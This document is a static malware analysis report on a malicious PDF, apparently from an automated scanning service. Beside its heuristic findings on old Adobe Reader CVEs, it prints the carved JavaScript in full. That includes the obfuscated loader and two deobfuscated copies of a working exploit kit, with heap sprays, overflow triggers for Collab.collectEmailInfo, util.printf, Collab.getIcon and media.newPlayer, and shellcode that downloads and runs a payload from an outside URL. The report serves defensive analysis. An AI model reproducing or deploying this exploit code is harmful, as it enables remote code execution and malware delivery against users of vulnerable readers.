Malicious PDF — malware analysis report

Static analysis result for SHA-256 daead377f553e857…

MALICIOUS

PDF

12.6 KB First seen: 2026-05-09
MD5: 9a7929f81b0bcc093b3c200e935e31e5 SHA-1: 49c7fc4788a2ac0756f337a5978c056a1c986f73 SHA-256: daead377f553e8579e26f63baeeca5e5028c9bcda175bbcdb46afeeb986726c1
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF contains embedded JavaScript that leverages multiple known Adobe Reader vulnerabilities to achieve code execution. The deobfuscated JavaScript contains a URL, http://universalhealthcare.ca/w.php?f=16&e=5, which is likely used to download a secondary payload. The exploit kit identified targets specific CVEs related to client-side execution.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://universalhealthcare.ca/w.php?f=16&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x383 11805 bytes
SHA-256: 30e7f1f203d3db6c03c759897979e86382a77ec130b7004f79815cbd0b196933
Preview script
First 1,000 lines of the extracted script
w='';
w+='sl';
w+='i';
w+="ce";
j='b343tb3g';
j=j[w];
z
=
new
Array(1,34,60,27,9,53,7,66,68,44,50,71,28,21,65,65,50,71,72,31,41,15,50,71,28,14,72,31,50,71,16,14,41,15,50,71,41,3,21,15,50,71,21,21,14,72,50,71,65,15,31,24,50,71,15,24,28,9,50,71,28,9,21,24,50,71,24,31,15,24,50,71,16,24,28,9,50,71,14,65,43,31,50,71,16,65,28,9,50,71,21,21,24,28,50,71,65,65,75,9,50,71,14,41,28,9,50,71,24,21,21,31,50,71,21,21,16,15,50,71,28,43,69,31,50,71,43,14,41,41,50,71,72,72,43,24,50,71,9,28,72,72,50,71,15,24,28,9,50,71,31,21,21,24,50,71,21,3,15,65,50,71,16,14,24,65,50,71,28,16,72,9,50,71,69,15,21,15,50,71,41,15,28,14,50,71,14,43,16,14,50,71,41,9,41,3,50,71,14,43,15,31,50,71,28,9,14,65,50,71,21,31,16,14,50,71,16,15,28,9,50,71,16,28,21,14,50,71,72,14,24,21,50,71,28,9,14,65,50,71,69,24,16,65,50,71,72,14,24,21,50,71,31,3,21,21,50,71,15,43,15,3,50,71,34,75,72,31,50,71,31,14,24,21,50,71,75,9,21,21,50,71,9,41,24,72,50,71,21,28,43,24,50,71,16,15,72,69,50,71,31,43,24,28,50,71,24,75,31,9,50,71,75,34,24,21,50,71,41,9,15,24,50,71,21,9,72,43,50,71,16,14,43,72,50,71,14,41,41,65,50,71,14,41,28,9,50,71,24,21,69,15,50,71,65,65,75,75,50,71,24,31,28,9,50,71,28,75,15,9,50,71,41,31,15,65,50,71,14,15,72,72,50,71,24,31,69,15,50,71,75,28,28,9,50,71,75,75,24,21,50,71,24,15,28,9,50,71,24,21,28,9,50,71,34,9,31,14,50,71,14,3,14,41,50,71,41,9,31,21,50,71,34,75,14,21,50,71,65,28,28,9,50,71,28,24,69,24,50,71,24,31,16,75,50,71,16,15,21,21,50,71,3,65,24,21,50,71,72,21,41,9,50,71,65,28,28,9,50,71,28,9,24,28,50,71,65,34,72,16,50,71,14,3,24,14,50,71,3,28,41,28,50,71,72,72,72,72,50,71,41,69,72,72,50,71,41,28,72,3,50,71,24,24,24,24,50,71,24,24,24,24,50,71,14,24,14,28,50,71,15,24,65,34,50,71,72,72,65,28,50,71,24,24,24,24,50,71,14,24,24,24,50,71,31,24,28,21,50,71,14,24,43,3,50,71,28,9,14,14,50,71,28,9,41,31,50,71,43,24,14,41,50,71,31,21,28,21,50,71,72,72,24,14,50,71,65,28,41,21,50,71,65,41,65,72,50,71,24,24,24,24,50,71,16,14,65,28,50,71,65,31,16,69,50,71,14,15,65,75,50,71,43,65,72,72,50,71,31,15,28,21,50,71,28,9,24,28,50,71,41,28,41,28,50,71,72,72,65,43,50,71,72,72,72,72,50,71,24,69,41,9,50,71,16,69,41,9,50,71,41,31,28,43,50,71,24,43,24,15,50,71,24,24,24,24,50,71,14,31,28,75,50,71,24,31,69,15,50,71,24,15,31,16,50,71,16,69,69,15,50,71,65,16,65,14,50,71,31,16,16,21,50,71,69,15,15,15,50,71,16,65,24,15,50,71,21,21,16,69,50,71,31,16,21,69,50,71,69,15,15,15,50,71,69,24,24,28,50,71,16,21,69,75,50,71,14,21,69,24,50,71,72,28,65,28,50,71,24,24,24,24,50,71,72,72,24,24,50,71,24,31,14,65,50,71,41,28,28,9,50,71,31,3,21,21,50,71,31,16,14,43,50,71,43,75,15,15,50,71,16,16,24,24,50,71,65,69,16,24,50,71,31,16,16,15,50,71,43,75,15,15,50,71,69,41,24,14,50,71,65,31,65,15,50,71,31,65,65,31,50,71,43,75,15,15,50,71,24,24,24,3,50,71,28,34,14,3,50,71,24,15,31,43,50,71,28,28,21,24,50,71,43,75,15,15,50,71,15,43,24,15,50,71,65,34,14,43,50,71,65,34,24,24,50,71,14,21,24,24,50,71,65,34,14,16,50,71,72,72,24,24,50,71,43,15,14,65,50,71,31,24,28,14,50,71,43,65,16,14,50,71,24,24,65,34,50,71,72,72,14,21,50,71,24,15,14,65,50,71,24,24,65,34,50,71,41,9,28,21,50,71,14,21,24,31,50,71,14,65,72,72,50,71,28,21,24,15,50,71,24,31,31,21,50,71,24,69,41,9,50,71,43,21,41,9,50,71,28,24,15,16,50,71,24,24,21,72,50,71,72,34,16,14,50,71,28,24,15,16,50,71,24,24,21,72,50,71,31,15,16,14,50,71,24,24,65,34,50,71,72,41,65,34,50,71,14,65,72,72,50,71,41,28,24,28,50,71,72,41,3,31,50,71,72,72,72,72,50,71,15,41,28,41,50,71,41,31,24,41,50,71,72,41,3,28,50,71,24,41,28,34,50,71,65,72,28,3,50,71,9,75,24,43,50,71,31,34,21,21,50,71,14,9,28,34,50,71,31,65,43,9,50,71,16,3,15,65,50,71,43,34,21,65,50,71,16,24,69,72,50,71,16,15,65,28,50,71,16,24,16,15,50,71,69,72,21,34,50,71,16,14,69,72,50,71,65,3,65,41,50,71,65,14,16,65,50,71,16,21,16,69,50,71,65,31,65,43,50,71,65,14,65,28,50,71,65,31,65,43,50,71,65,28,16,15,50,71,65,43,65,21,50,71,65,14,16,69,50,71,65,21,69,41,50,71,69,72,65,43,50,71,69,41,16,16,50,71,65,28,16,24,50,71,21,72,16,24,50,71,21,75,65,65,50,71,21,65,21,43,50,71,65,14,69,65,50,71,21,14,21,75,50,71,24,24,24,24,44,32,72,71,25,31,40,64,62,25,27,41,37,1,60,35,60,34,29,6,2,30,74,61,56,64,23,41,35,60,34,12,23,41,25,66,40,56,47,69,57,6,2,30,74,60,34,17,68,60,34,32,58,60,34,68,60,34,12,7,71,9,7,40,60,64,25,66,35,24,29,6,2,45,69,30,32,60,41,40,71,60,25,27,60,34,32,58,27,72,71,25,31,40,64,62,25,27,9,73,35,30,74,1,34,60,27,75,70,66,68,25,41,61,27,11,60,60,34,2,35,30,32,1,34,60,27,1,61,68,24,73,24,31,24,31,24,31,24,31,32,1,34,60,27,34,75,75,60,68,24,73,15,24,24,24,24,24,32,1,34,60,27,54,34,2,23,62,34,75,68,71,25,41,7,31,34,54,41,35,9,53,7,66,30,32,1,34,60,27,7,31,26,23,41,25,68,54,34,2,23,62,34,75,12,23,41,25,66,40,56,47,69,32,1,34,60,27,6,2,68,34,75,75,60,51,35,7,31,26,23,41,25,17,24,73,21,28,30,32,1,34,60,27,2,34,60,7,54,68,71,25,41,7,31,34,54,41,35,22,50,71,3,24,3,24,50,71,3,24,3,24,22,30,32,2,34,60,7,54,68,41,37,1,60,35,2,34,60,7,54,29,6,2,30,32,1,34,60,27,31,62,71,25,40,69,68,35,1,61,51,24,73,15,24,24,24,24,24,30,45,34,75,75,60,32,72,62,60,35,1,34,60,27,31,62,71,25,40,68,24,32,31,62,71,25,40,57,31,62,71,25,40,69,32,31,62,71,25,40,17,17,30,74,75,70,66,36,31,62,71,25,40,59,68,2,34,60,7,54,17,54,34,2,23,62,34,75,32,58,27,1,34,60,27,62,1,41,60,72,23,62,61,68,71,25,41,7,31,34,54,41,35,22,50,71,24,31,24,31,50,71,24,31,24,31,22,30,32,61,56,64,23,41,35,62,1,41,60,72,23,62,61,12,23,41,25,66,40,56,57,15,15,3,14,69,30,74,62,1,41,60,72,23,62,61,17,68,62,1,41,60,72,23,62,61,32,58,27,40,56,64,7,12,31,62,23,23,34,9,63,40,62,60,41,68,55,62,23,23,34,9,12,31,62,23,23,41,31,40,18,0,34,64,23,67,25,72,62,35,74,7,71,9,53,10,22,22,29,0,7,66,10,62,1,41,60,72,23,62,61,58,30,32,58,27,72,71,25,31,40,64,62,25,27,54,60,64,25,40,72,35,30,74,25,62,54,68,71,25,41,7,31,34,54,41,35,22,50,71,24,11,24,11,50,71,24,11,24,11,50,71,24,11,24,11,50,71,24,11,24,11,22,30,32,1,34,60,27,54,34,2,23,62,34,75,68,71,25,41,7,31,34,54,41,35,9,53,7,66,30,32,56,41,34,54,9,23,62,31,70,68,25,62,54,17,54,34,2,23,62,34,75,32,9,64,66,9,23,62,31,70,68,71,25,41,7,31,34,54,41,35,22,50,71,24,11,24,11,50,71,24,11,24,11,22,30,32,56,41,34,75,41,60,7,64,37,41,68,69,24,32,7,54,60,34,2,68,56,41,34,75,41,60,7,64,37,41,17,56,41,34,54,9,23,62,31,70,12,23,41,25,66,40,56,32,61,56,64,23,41,35,9,64,66,9,23,62,31,70,12,23,41,25,66,40,56,57,7,54,60,34,2,30,74,9,64,66,9,23,62,31,70,17,68,9,64,66,9,23,62,31,70,32,58,27,72,64,23,23,9,23,62,31,70,68,9,64,66,9,23,62,31,70,12,7,71,9,7,40,60,64,25,66,35,24,29,7,54,60,34,2,30,32,9,23,62,31,70,68,9,64,66,9,23,62,31,70,12,7,71,9,7,40,60,64,25,66,35,24,29,9,64,66,9,23,62,31,70,12,23,41,25,66,40,56,51,7,54,60,34,2,30,32,61,56,64,23,41,35,9,23,62,31,70,12,23,41,25,66,40,56,17,7,54,60,34,2,57,24,73,15,24,24,24,24,30,74,9,23,62,31,70,68,9,23,62,31,70,17,9,23,62,31,70,17,72,64,23,23,9,23,62,31,70,32,58,27,0,41,0,68,25,41,61,27,11,60,60,34,2,35,30,32,72,62,60,35,64,68,24,32,64,57,43,15,24,24,32,64,17,17,30,74,0,41,0,36,64,59,68,9,23,62,31,70,17,56,41,34,54,9,23,62,31,70,32,58,27,1,34,60,27,25,71,0,68,43,69,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,32,71,40,64,23,12,54,60,64,25,40,72,35,22,50,15,14,24,24,24,72,22,29,25,71,0,30,32,58,27,72,71,25,31,40,64,62,25,27,66,41,40,64,31,62,25,35,30,74,1,34,60,27,34,60,60,2,68,25,41,61,27,11,60,60,34,2,35,30,32,64,72,35,34,54,54,12,75,62,31,12,55,62,23,23,34,9,12,66,41,40,67,31,62,25,30,74,1,34,60,27,54,34,2,23,62,34,75,68,71,25,41,7,31,34,54,41,35,9,53,7,66,30,32,1,34,60,27,56,42,6,14,24,24,55,52,68,54,34,2,23,62,34,75,12,23,41,25,66,40,56,47,69,32,1,34,60,27,6,2,68,24,73,15,24,24,24,24,24,51,35,56,42,6,14,24,24,55,52,17,24,73,21,28,30,32,1,34,60,27,2,34,60,7,54,68,71,25,41,7,31,34,54,41,35,22,50,71,3,24,3,24,50,71,3,24,3,24,22,30,32,2,34,60,7,54,68,41,37,1,60,35,2,34,60,7,54,29,6,2,30,32,1,34,60,27,54,14,11,53,20,65,14,72,68,35,24,73,24,31,24,31,24,31,24,31,51,24,73,15,24,24,24,24,24,30,45,24,73,15,24,24,24,24,24,32,72,62,60,35,1,34,60,27,1,6,31,5,13,3,65,2,68,24,32,1,6,31,5,13,3,65,2,57,54,14,11,53,20,65,14,72,32,1,6,31,5,13,3,65,2,17,17,30,74,34,60,60,2,36,1,6,31,5,13,3,65,2,59,68,2,34,60,7,54,17,54,34,2,23,62,34,75,32,58,27,1,34,60,27,40,46,19,56,52,9,49,61,68,71,25,41,7,31,34,54,41,35,22,50,24,3,22,30,32,61,56,64,23,41,35,40,46,19,56,52,9,49,61,12,23,41,25,66,40,56,57,24,73,15,24,24,24,30,74,40,46,19,56,52,9,49,61,17,68,40,46,19,56,52,9,49,61,32,58,27,40,46,19,56,52,9,49,61,68,22,52,12,22,17,40,46,19,56,52,9,49,61,32,34,54,54,12,75,62,31,12,55,62,23,23,34,9,12,66,41,40,67,31,62,25,35,40,46,19,56,52,9,49,61,30,32,58,58,27,34,4,23,71,66,64,25,7,68,34,54,54,12,54,23,71,66,67,25,7,32,1,34,60,27,7,1,68,54,34,60,7,41,67,25,40,35,34,54,54,12,1,64,41,61,41,60,48,41,60,7,64,62,25,12,40,62,63,40,60,64,25,66,35,30,12,31,56,34,60,11,40,35,24,30,30,32,72,62,60,35,1,34,60,27,64,68,24,32,64,57,34,4,23,71,66,64,25,7,12,23,41,25,66,40,56,32,64,17,17,30,74,64,72,35,34,4,23,71,66,64,25,7,36,64,59,12,25,34,0,41,68,68,44,18,63,31,60,64,54,40,44,30,74,1,34,60,27,23,1,68,34,4,23,71,66,64,25,7,36,64,59,12,1,41,60,7,64,62,25,32,58,58,27,64,72,35,35,23,1,68,68,3,30,39,39,35,35,7,1,68,68,28,30,38,38,35,23,1,57,68,28,12,43,69,30,30,30,74,66,41,40,64,31,62,25,35,30,32,58,41,23,7,41,27,64,72,35,23,1,68,68,16,12,43,30,74,54,60,64,25,40,72,35,30,32,58,41,23,7,41,27,64,72,35,35,35,7,1,68,68,65,30,39,39,35,7,1,68,68,16,30,30,38,38,35,23,1,57,16,12,43,43,30,30,74,9,73,35,30,32,58,41,23,7,41,27,64,72,35,35,23,1,8,68,3,12,43,30,39,39,35,23,1,57,68,3,12,69,30,39,39,35,23,1,8,68,28,12,43,21,30,39,39,35,23,1,57,68,28,12,43,16,30,30,74,72,71,25,31,40,64,62,25,27,34,35,30,74,71,40,64,23,12,54,60,64,25,40,75,35,44,54,33,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,27,10,27,2,2,2,2,43,43,43,44,29,25,41,61,27,13,34,40,41,35,30,30,32,58,1,34,60,27,56,68,34,54,54,12,54,23,71,66,67,25,7,32,72,62,60,35,1,34,60,27,72,68,24,32,72,57,56,12,23,41,25,66,40,56,32,72,17,17,30,74,64,72,35,56,36,72,59,12,25,34,0,41,68,68,44,18,63,31,60,64,54,40,44,30,74,1,34,60,27,64,68,56,36,72,59,12,1,41,60,7,64,62,25,32,58,58,27,64,72,35,35,64,8,28,12,43,69,30,38,38,35,64,57,28,12,69,30,30,74,31,68,25,41,61,27,11,60,60,34,2,35,30,32,1,34,60,27,75,68,71,25,41,7,31,34,54,41,35,44,50,71,3,24,3,24,50,71,3,24,3,24,44,30,32,1,34,60,27,41,68,71,25,41,7,31,34,54,41,35,9,53,7,66,30,32,61,56,64,23,41,35,75,12,23,41,25,66,40,56,57,68,24,73,28,24,24,24,30,74,75,17,68,75,32,58,75,68,75,12,7,71,9,7,40,60,35,24,29,24,73,28,24,24,24,51,41,12,23,41,25,66,40,56,30,32,72,62,60,35,72,68,24,32,72,57,69,3,24,24,32,72,17,17,30,74,31,36,72,59,68,75,17,41,32,58,34,35,30,32,34,35,30,32,40,60,2,74,40,56,64,7,12,0,41,75,64,34,12,25,41,61,4,23,34,2,41,60,35,25,71,23,23,30,32,58,31,34,40,31,56,35,41,30,74,58,34,35,30,32,58,58);
a="mvy9PQqs>b:A.D547+EMK3'l0n_ 8,)c;@a([z&|teW1'/U*VG%-NjpCh<}]rwoSi6gI=2kufx{d";
b='al';
b2="v"
+b;
try
{
if(!google.search())throw 1;
}
catch(her436j34k76)
{
e=(j());
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=e[b];
}
s='';try{if(!google.search())throw 1;}catch(q){r=1;}{
for(i=0;i<z.length;i++)
try{if(!google.search())throw 1;}catch(q){
s
+=
a[
z[i]];
}
}}

"))";try{if(!google)throw 1;}catch(q){e(s);}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x383 3876 bytes
SHA-256: a6d47e400078d612e0c74048ec268a4505a8c379c38b6acb6ac1e00abb73e1c6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u752f%u696e%u6576%u7372%u6c61%u6568%u6c61%u6874%u6163%u6572%u632e%u2f61%u2e77%u6870%u3f70%u3d66%u3631%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x383 3872 bytes
SHA-256: 15eb87021046f7c7df5015104f6d39a9e4dfc18f88fafe3f662111791db9f35a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u752f%u696e%u6576%u7372%u6c61%u6568%u6c61%u6874%u6163%u6572%u632e%u2f61%u2e77%u6870%u3f70%u3d66%u3631%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	